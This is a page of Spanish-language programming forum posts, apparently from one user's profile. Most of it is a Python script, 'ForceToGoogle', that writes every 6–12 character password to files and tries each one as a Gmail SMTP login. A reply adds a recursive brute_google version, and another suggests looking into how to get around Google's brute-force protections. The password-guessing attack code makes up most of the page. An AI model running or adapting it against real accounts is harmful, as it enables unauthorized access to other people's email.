Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Cita de: jmpesp en 5 Noviembre 2019, 04:26 AM
Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd".
Ejemplo:Código [Seleccionar]
charset = "123"
passwd = ['a','a','a']
# asumiendo que index = 0
for x in charset:
passwd[index] = x
print "".join(passwd)
# Produciria la siguiente salida:
1aa
2aa
3aa
Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password).
Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5.
Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd.
Toma como parametros una lista, y un indice.
Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como:Código [Seleccionar]
charset = "abc"
list = ['x','x','x','x']
def gen(list, index):
for x in charset:
list[index] = x
print "".join(list)
# esto produce la siguiente salida:
gen(list, 0)
# axxx
# bxxx
# cxxx
# .... etc ...
El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena.Código [Seleccionar]
charset = "abc"
list = ['x','x','x','x']
def gen(list, index):
for x in charset:
list[index] = x
gen(list, index+1)
print "".join(list)
# esto produce la siguiente salida:
gen(list, 0)
# aaxx
# abxx
# acxx
# baxx
# bbxx
# bcxx
# caxx
# cbxx
# ccxx
# .... etc ...
https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivas
Espero te ayude a entenderlo, no soy muy bueno explicando la verdad.
Cita de: jmpesp en 3 Noviembre 2019, 22:52 PMSigo teniendo algunas dudas sobre este código, tras haberlo analizado profundamente y también gracias a tus explicaciones he logrado entender gran partede el, basicamente tu programa es:
No es muy diferente a lo que hace tu codigo. Funciona de la misma manera.
Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadenaCódigo [Seleccionar]
# suponiendo que "i" (el largo) es 8
passwd = ['a' for x in range(i)] # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
gen_passwd(email, passwd, 0, i)
La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter).
Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado.
Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice.Código [Seleccionar]
def gen_passwd(email, passwd, index, length):
for x in charset:
passwd[index] = x
if index < (length-1):
gen_passwd(email, passwd, index+1, length)
brute_google(email, "".join(passwd))
Para entenderlo mejor, con un charset de solo 3 caracteres:Código [Seleccionar]
charset = "abc"
passwd = ['x','x','x']
#la primera llamada a gen_charset con indice 0 producira:
passwd = ['a','x','x']
#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1
# quedando
passwd = ['a','a',x']
# sucede lo mismo que antes pero ahora se utiliza el indice 2
passwd = ['a','a','a']
# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice
# se producen los siguientes resultados:
passwd = ['a','a','b']
passwd = ['a','a','c']
# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:
passwd = ['a','b','a']
# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista
passwd = ['a','b','b']
passwd = ['a','b','c']
passwd = ['a','c','a']
passwd = ['a','c','b']
passwd = ['a','c','c']
passwd = ['b','a','a']
passwd = ['b','a','b']
passwd = ['b','a','c']
passwd = ['b','b','a']
# [...] etc [...]
Que al final es lo mismo que haces tu hardcodeando los ciclos:Código [Seleccionar]
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
con = str(a + b + c + d + e + f)
archivo_6.write(con+"\n")
Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final.
Espero se haya entendido
for i in range(6, 16):
passwd = ['a' for x in range(i)]
gen_passwd(email, passwd, 0, i)
def brute_google(email, passwd):
print "Probando {}:{}".format(email, passwd)
smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.starttls()
try:
smtp.login(email, passwd)
print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd)
sys.exit()
except smtplib.SMTPAuthenticationError:
pass
def gen_passwd(email, passwd, index, length):
for x in charset:
passwd[index] = x
if index < (length-1):
gen_passwd(email, passwd, index+1, length)
brute_google(email, "".join(passwd))
try:
email = sys.argv[1]
except IndexError:
print "Usar: {} [email]".format(sys.argv[0])
sys.exit()
Cita de: tincopasan en 2 Noviembre 2019, 18:52 PM
hola:
todas las respuestas si bien son válidas, se recomienda usar multiproceso, algo así¨Código (python) [Seleccionar]
#-*- coding: utf -8 -*-
from multiprocessing import process
#import os
hola = ["hola", "HOLA"]
def repetir_hola():
for x in range(1001):
print(x)
#os.system("cls") #esto limpia tu pantalla
def escribir():
while True: #Esto hace que esto se ejecute de forma infinita
archivo = open("archivo.txt", "w") #Esto abre una archivo txt en tu
for x in range(1001): #directorio actual
archivo.write("Estoy escribiendo en un archivo") #Esto escribe en tu archivo
if __name__=='__main__':
repetir_hola()
p = process(target = escribir())
p.start()
p.join()
cambié un poco el código para que se vea mejor como funciona.
Saludos.
Cita de: string Manolo en 2 Noviembre 2019, 14:17 PM
Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1");
Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc.
Usas muchas funciones distintas para hacer casi lo mismo.
Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones.
Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12.
Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas.
Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así.
Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro.
Prueba el programa a ver si funciona
pero bueno, también lo he hecho para mostrarlo y que la gente opine donde podría mejorar en tema de sintaxis
import os
hola = ["hola", "HOLA"]
def repetir_hola():
for palabra in hola:
print(palabra)
os.system("cls") #esto limpia tu pantalla
def escribir():
while True: #Esto hace que esto se ejecute de forma infinita
archivo = open("archivo.txt", "w") #Esto abre una archivo txt en tu
#directorio actual
archivo.write("Estoy escribiendo en un archivo") #Esto escribe en tu archivo
# coding=utf-8
########################################################################################################################
#DESARROLLO
#Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
#palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
#otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
########################################################################################################################
########################################################################################################################
#ANÁLISIS
#Realizar menu con decoración
#Longitud de caracteres variables de 6 a 12 caractares
#Hay que descargar el modulo colorama
#Se debe saber con antelación el usuario para poder averiguar la contraseña
#Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
#Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
########################################################################################################################
########################################################################################################################
#DISEÑO
#Importar librerias
#Crear archivo donde se van a guardar las libreriass
#Crear variables
#Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
#Crear menu
#Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
#Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
#Que muestre en pantalla si la contraseña es correcta o no
########################################################################################################################
import smtplib, os, sys, colorama
from os import listdir
from typing import Any
from colorama import init, Fore
from termcolor import colored
import time
import random
colorama.init()
num = 0
num = int(num)
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"
def menu():
Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
Force = Fore.YELLOW+"Force"
print("##########################################")
print(" "+Force+Fore.WHITE+"To"+Google+" ")
print(Fore.WHITE + "##########################################")
print("Realizado por Jesús Daza Hernández")
print(Fore.GREEN + '----------------------------O------------------------------')
print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
def Fuerzabruta6():
archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
con = str(a + b + c + d + e + f)
archivo_6.write(con+"\n")
def Fuerzabruta7():
archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
con = str(a + b + c + d + e + f + g)
archivo_7.write(con+"\n")
def Fuerzabruta8():
archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
con = str(a + b + c + d + e + f + g + h)
archivo_8.write(con+"\n")
def Fuerzabruta9():
archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
con = str(a + b + c + d + e + f + g + h + i)
archivo_9.write(con+"\n")
def Fuerzabruta10():
archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
con = str(a + b + c + d + e + f + g + h + i + j)
archivo_10.write(con+"\n")
def Fuerzabruta11():
archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
for k in car:
con = str(a + b + c + d + e + f + g + h + i + j + k)
archivo_11.write(con+"\n")
def Fuerzabruta12():
archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
for k in car:
for l in car:
con = str(a + b + c + d + e + f + g + h + i + j + k + l)
archivo_12.write(con+"\n")
def ComprobarClaves():
try:
smtpserver.login(email, pwd)
print(Fore.GREEN+"CONTRASEÑA CORRECTA")
print("La contraseña es: ", Fore.BLUE+pwd)
archivo.close()
except smtplib.SMTPAuthenticationError:
pass
def salir():
sys.exit()
menu()
opc = input(">> ")
opc = int(opc)
os.system("cls")
if opc == 1:
print("Longitud de las claves a generar(6-12)")
longitud = input(">> ")
longitud = int(longitud)
if longitud >=6 and longitud <=12:
if longitud == 6:
Fuerzabruta6()
elif longitud == 7:
Fuerzabruta7()
elif longitud == 8:
Fuerzabruta8()
elif longitud == 9:
Fuerzabruta9()
elif longitud == 10:
Fuerzabruta10()
elif longitud == 11:
Fuerzabruta11()
elif longitud == 12:
Fuerzabruta12()
else:
print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
menu()
if opc == 2:
print("Elige un archivo de contraseñas que quieras comprobar")
for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
num = int(num) + 1
arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
os.system("cls")
email = input("Tu email: ")
if arch_comp == "contraseñas_6":
archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
for pwd in archivo_6:
ComprobarClaves()
if arch_comp == "contraseñas_7":
archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
for pwd in archivo_7:
ComprobarClaves()
if arch_comp == "contraseñas_8":
archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
for pwd in archivo_8:
ComprobarClaves()
if arch_comp == "contraseñas_9":
archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
for pwd in archivo_9:
ComprobarClaves()
if arch_comp == "contraseñas_10":
archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
for pwd in archivo_10:
ComprobarClaves()
if arch_comp == "contraseñas_11":
archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
for pwd in archivo_11:
ComprobarClaves()
if arch_comp == "contraseñas_12":
archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
for pwd in archivo_12:
ComprobarClaves()
if opc == 3:
salir()